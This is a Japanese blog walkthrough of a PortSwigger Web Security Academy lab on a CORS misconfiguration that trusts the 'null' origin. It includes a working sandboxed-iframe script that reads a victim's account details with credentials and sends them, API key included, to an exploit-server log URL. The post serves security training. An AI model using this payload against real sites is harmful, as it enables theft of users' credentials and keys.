academy CORS 2問目 信頼されたnullオリジンによるCORSの脆弱性

WEBセキュリティー

Lab: CORS vulnerability with trusted null origin

wienerでログインして、My accountに飛びます。

historyで、
GET /accountDetails
を確認

レスポンスに
Access-Control-Allow-Credentials: true
があるので、CORSをサポートしているようです。

リクエストをrepeterに

Origin: null
を追加して、send
*私は、Host: の下に追加

レスポンスに
Access-Control-Allow-Origin: null
と反映されているようです

検証がとれたので、エクスプロイトサーバ bodyに以下のスクリプトを

<iframe sandbox="allow-scripts allow-top-navigation allow-forms" srcdoc="<script>
    var req = new XMLHttpRequest();
    req.onload = reqListener;
    req.open('get','YOUR-LAB-ID.web-security-academy.net/accountDetails',true);
    req.withCredentials = true;
    req.send();
    function reqListener() {
        location='YOUR-EXPLOIT-SERVER-ID.exploit-server.net/log?key='+encodeURIComponent(this.responseText);
    };
</script>"></iframe>

*YOUR-LAB-ID / YOUR-EXPLOIT-SERVER-IDとか、書き換えください。頭にhttps:// いります

Store
View exploit
でiframeが表示される

戻って、Access logを確認
/log?key= 以下に、
apikeyが含まれるログがある

被害者に送信
Deliver exploit to victim

Access logを確認し、
apikey%22%3A%20%22wvGjvVzgbCKIV9C5N0dRzAXe0VLfwdVn%22%2C%0A%20%20%22 を発見
decoderで、URLデコード

apikey”: “wvGjvVzgbCKIV9C5N0dRzAXe0VLfwdVn”,

キーをsubmit solutionして、クリア!

–)v

コメント

タイトルとURLをコピーしました